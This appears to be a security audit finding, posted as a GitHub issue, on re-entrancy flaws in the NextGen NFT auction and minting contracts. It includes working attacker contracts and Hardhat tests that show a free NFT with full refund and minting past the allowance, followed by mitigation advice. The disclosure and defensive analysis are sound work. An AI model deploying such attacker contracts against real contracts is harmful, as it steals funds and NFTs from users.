Lines of code
<https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L196-L254&gt;

Vulnerability details

Impact

Multiple re-entrancy issues exist in the codebase, that break core functionality and allow stealing of user funds.
In AuctionDemo.sol contract re-entrancy in cancelBid and cancelAllBids allows stealing of user funds.
There are multiple attack surfaces, which include a winner of the auction refunding all of his money and receiving NFT for free, and which also include a possiblity of a malicious bidder to refund 2x of his money.
Here is the code snippent that transfers NFT to the winner and pays owner money for that NFT:

IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
(bool success, ) = payable(owner()).call{value: highestBid}("");
emit ClaimAuction(owner(), _tokenid, success, highestBid);

If highestBidder is a contract that implements onIERC721Received, in the callback to that contract highestBidder can call cancelAllBids, which will refund him all of his money back, leaving him with a free NFT. It may leave the contract with no funds, but all other calls that transfer money won’t revert, since there are no checks on return value of those calls. Impact of that would be that either owner or other bidders won’t receive their money back.

Another attack surface that exists in AuctionDemo.sol allows a bidder to refund 2x of his bid.
In the else if block of the claimAuction unsuccessful bidders are refunded:

else if (auctionInfoData[_tokenid][i].status == true) {
(bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid("");
emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);

If the bidder is a smart contract, it can implement a receive function, that will call cancelAllBids when money are transferred to them.
The impact would be that the last bidder in the array would not receive his funds, because someone already claimed them.

Cross-contract re-entrancy also exists in MinterContract.sol and NextGenCore.sol. In order for a user to mint an NFT, he has to call MinterContract::mint(), which will call mint() on NextGenCore. mint() function of the core contract calls _mintProccesing before updating important state that is responsible for keeping track of minted NFT’s.

 _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
if (phase == 1) {
tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
} else {
tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
}

_mintProccesing calls safeMint() which will trigger the callback to onIERC721Received, in which a malicious user can call mint on the MinterContract again. Because state variables tokensMintedPerAddress and/or tokensMintedAllowlistAddress were not updated before that call, a user can essentially mint more NFT that he is allowed to according to maxAllowance. This checks in the MinterContract will be bypassed:

require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, _delegator) + _numberOfTokens, "AL limit");
require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");

The impact is that user can mint more than maxAllowance in the allowlistMint and in the public sale.

Proof of Concept

To test re-entrancy in AuctionDemo.sol you need to create this smart contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {auctionDemo} from "../AuctionDemo.sol";
import "../IERC721Receiver.sol";

contract AuctionWinnerReentrancy is IERC721Receiver {
    auctionDemo public auction;
    uint256 public tokenId;

    constructor(address _auction) {
        auction = auctionDemo(_auction);
    }

    function setTokenId(uint256 _tokenId) external {
        tokenId = _tokenId;
    }

    function enterAuction() external payable {
        auction.participateToAuction{value: msg.value}(tokenId);
    }

    function claimPrize() external {
        auction.claimAuction(tokenId);
    }

    function withdraw() external {
        (bool success, ) = payable(msg.sender).call{
            value: address(this).balance
        }("");
        require(success);
    }

    function onERC721Received(
        address _sender,
        address _from,
        uint256 _tokenId,
        bytes memory _data
    ) external override returns (bytes4) {
        (, , bool status) = auction.auctionInfoData(tokenId, 0);
        if (status == true) {
            auction.cancelAllBids(tokenId);
        }
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {}
}

Then you would need to deploy it in fixtureDeployments.js with AuctionDemo.sol:

// Deploy Winner attacker contract
  const winnerAttacker = await ethers.getContractFactory(
    "AuctionWinnerReentrancy"
  );
  const hhWinnerAttacker = await winnerAttacker.deploy(
    await hhAuction.getAddress()
  );
 // Deploy Auction Demo
  const auctionDemo = await ethers.getContractFactory("auctionDemo");
  const hhAuction = await auctionDemo.deploy(
    await hhMinter.getAddress(),
    await hhCore.getAddress(),
    await hhAdmin.getAddress()
  );

And then add those to the contracts in fixtureDeployments:

  const contracts = {
    hhAdmin: hhAdmin,
    hhCore: hhCore,
    hhDelegation: hhDelegation,
    hhMinter: hhMinter,
    hhRandomizer: hhRandomizer,
    hhRandoms: hhRandoms,
    hhAuction: hhAuction, <----- @audit
    hhWinnerAttacker: hhWinnerAttacker, <----- @audit
  };

Here is the test case demonstrating this issue:

context("Re-entrancy", () => {
it("#Winner of the auction re-enters and gets NFT for free", async function () {
      /* Set up collection */
      await contracts.hhCore.addMinterContract(contracts.hhMinter);
      await contracts.hhCore.createCollection(
        "Test Collection 1",
        "Artist 1",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"]
      );
      await contracts.hhAdmin.registerCollectionAdmin(
        1,
        signers.addr1.address,
        true
      );
      await contracts.hhCore.connect(signers.addr1).setCollectionData(
        1, // _collectionID
        signers.addr1.address, // _collectionArtistAddress
        2, // _maxCollectionPurchases
        10000, // _collectionTotalSupply
        0 // _setFinalSupplyTimeAfterMint
      );
      await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer);
      await contracts.hhMinter.setCollectionCosts(
        1, // _collectionID
        BigInt(1000000000000000000), // _collectionMintCost
        BigInt(1000000000000000000), // _collectionEndMintCost
        0, // _rate
        600, // _timePeriod
        1, // _salesOptions
        "0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B" // delAddress
      );

      await contracts.hhMinter.setCollectionPhases(
        1, // _collectionID
        1696931278, // _allowlistStartTime
        1696931278, // _allowlistEndTime
        1696931278, // _publicStartTime
        1796931278, // _publicEndTime
        "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870" // _merkleRoot
      );

      await contracts.hhMinter.mintAndAuction(
        signers.addr1.address,
        "'auction'",
        0 /*saltfun */,
        1 /* collection id */,
        1796931278 /* auctionEndTime */
      );
      const tokenIndex = 10000000000;
      await contracts.hhCore
        .connect(signers.addr1)
        .approve(await contracts.hhAuction.getAddress(), tokenIndex);

      await contracts.hhWinnerAttacker.setTokenId(tokenIndex);
      // An attacker enters with 1 ETH
      await contracts.hhWinnerAttacker
        .connect(signers.addr2)
        .enterAuction({ value: BigInt(1000000000000000000) });

      const balanceOfAttackerBeforeAttack = await ethers.provider.getBalance(
        await contracts.hhWinnerAttacker.getAddress()
      );
      await expect(balanceOfAttackerBeforeAttack.toString()).to.equal("0");
      // Skip to (auctionEndTime - 1)
      await network.provider.send("evm_setNextBlockTimestamp", [1796931277]);
      await network.provider.send("evm_mine");
      // Claim prize
      await contracts.hhWinnerAttacker.claimPrize();
      // Now attacker is the owner of the token
      const owner = await contracts.hhCore.ownerOf(tokenIndex);
      await expect(owner).to.equal(
        await contracts.hhWinnerAttacker.getAddress()
      );

      // And attacker successfully refunded his 1 ETH
      const balanceOfAttackerAfterAttack = await ethers.provider.getBalance(
        await contracts.hhWinnerAttacker.getAddress()
      );
      await expect(balanceOfAttackerAfterAttack.toString()).to.equal(
        BigInt(1000000000000000000).toString()
      );
    });
}

Please add it to nextGenTest.js and run with npx hardhat test --grep “Re-entrancy”.

In order to test re-entrancy while minting, create this smart contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {NextGenMinterContract} from "../MinterContract.sol";
import "../IERC721Receiver.sol";
import {NextGenCore} from "../NextGenCore.sol";

contract MinterContractReentrancy is IERC721Receiver {
    NextGenMinterContract public minter;
    NextGenCore public core;
    uint256 public balance;
    uint256 public _collectionId;
    bytes32[] proof;

    constructor(address _minter, address _core) {
        minter = NextGenMinterContract(_minter);
        core = NextGenCore(_core);
    }

    function setCollection(uint256 id) external {
        _collectionId = id;
    }

    function fund() external payable {
        balance += msg.value;
    }

    function calculateMintIndex() public view returns (uint256) {
        // Returns current mint index
        uint256 mintIndex = core.viewTokensIndexMin(_collectionId) +
            core.viewCirSupply(_collectionId);

        return mintIndex;
    }

    function exploit(
        uint256 _numberOfTokens,
        uint256 _maxAllowance,
        string memory _tokenData,
        address _mintTo,
        bytes32[] calldata merkleProof,
        address _delegator,
        uint256 _saltfun_o
    ) external payable {
        uint256 currentPrice = minter.getPrice(_collectionId);
        uint256 value;
        if (_numberOfTokens > 1) {
            value = currentPrice * _numberOfTokens;
        }
        // Doing this so there are funds left for re-entrant calls
        require(msg.value >= value);
        minter.mint{value: msg.value}(
            _collectionId,
            _numberOfTokens,
            _maxAllowance,
            _tokenData,
            _mintTo,
            merkleProof,
            _delegator,
            _saltfun_o
        );
    }

    function onERC721Received(
        address /*_sender,*/,
        address /*_from,*/,
        uint256 /*_tokenId,*/,
        bytes memory /*_data */
    ) external override returns (bytes4) {
        // Get the price of 1 nft
        uint256 currentPrice = minter.getPrice(_collectionId);
        // Do it while there is enough money and until tokensIndexMax is reached
        while (
            balance >= currentPrice &&
            calculateMintIndex() < core.viewTokensIndexMax(_collectionId)
        ) {
            balance -= currentPrice;
            minter.mint{value: currentPrice}(
                _collectionId,
                1,
                0,
                '{"tdh": "100"}',
                address(this),
                proof,
                address(0),
                0
            );
        }
        return IERC721Receiver.onERC721Received.selector;
    }
}

Deploy it:

  // Deploy minter-reentrancy contract
  const minterReentrancy = await ethers.getContractFactory(
    "MinterContractReentrancy"
  );
  const hhMinterAttacker = await minterReentrancy.deploy(
    await hhMinter.getAddress(),
    await hhCore.getAddress()
  );
 
  const contracts = {
    hhAdmin: hhAdmin,
    hhCore: hhCore,
    hhDelegation: hhDelegation,
    hhMinter: hhMinter,
    hhRandomizer: hhRandomizer,
    hhRandoms: hhRandoms,
    hhAuction: hhAuction, <----- @audit
    hhMinterAttacker: hhMinterAttacker, <----- @audit
  };

Add this test to Re-entrancy context:

it("#Minter can re-enter and mint more than the maxAllowance", async function () {
      /* Set up collection */
      await contracts.hhCore.addMinterContract(contracts.hhMinter);
      await contracts.hhCore.createCollection(
        "Test Collection 1",
        "Artist 1",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"]
      );
      await contracts.hhAdmin.registerCollectionAdmin(
        1,
        signers.addr1.address,
        true
      );
      await contracts.hhCore.connect(signers.addr1).setCollectionData(
        1, // _collectionID
        signers.addr1.address, // _collectionArtistAddress
        2, // _maxCollectionPurchases
        10000, // _collectionTotalSupply
        0 // _setFinalSupplyTimeAfterMint
      );
      await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer);
      await contracts.hhMinter.setCollectionCosts(
        1, // _collectionID
        BigInt(1000000000000000000), // _collectionMintCost
        BigInt(1000000000000000000), // _collectionEndMintCost
        0, // _rate
        600, // _timePeriod
        1, // _salesOptions
        "0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B" // delAddress
      );

      await contracts.hhMinter.setCollectionPhases(
        1, // _collectionID
        1696931278, // _allowlistStartTime
        1696931278, // _allowlistEndTime
        1696931278, // _publicStartTime
        1796931278, // _publicEndTime
        "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870" // _merkleRoot
      );

      const addressAttacker = await contracts.hhMinterAttacker.getAddress();

      await contracts.hhMinterAttacker.setCollection(1);
      await contracts.hhMinterAttacker.fund({
        value: BigInt(4000000000000000000),
      });

      // While maxCollectionPurchase is 2, a malicious user was able to end up with 6 minted tokens
      await contracts.hhMinterAttacker.exploit(
        2, // number of tokens
        0, // maxAllownace
        '{"tdh": "100"}', // tokendata
        addressAttacker, // mintto
        ["0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870"], // merkleRoot
        "0x0000000000000000000000000000000000000000", // delegator
        2, // varg0
        { value: BigInt(2000000000000000000) }
      );

      const balance = await contracts.hhCore.balanceOf(addressAttacker);
      expect(balance.toString()).to.equal("6");
    });

Tools Used

Manual review

Recommended Mitigation Steps

Add a re-entrancy guard, put non-reentrant modifier on mint in MinterContract and on cancelBid, cancelAllBids in AuctionDemo.sol. Adhere to the check-effect interaction pattern. When claim happens in claimAuction set the auctionInfoData[_tokenid][i].status to false, so the check in cancelBid will fail. In mint function of NextGenCore, call _mintProccesing after the state is updated.

Assessed type

Reentrancy

---

The text was updated successfully, but these errors were encountered:

All reactions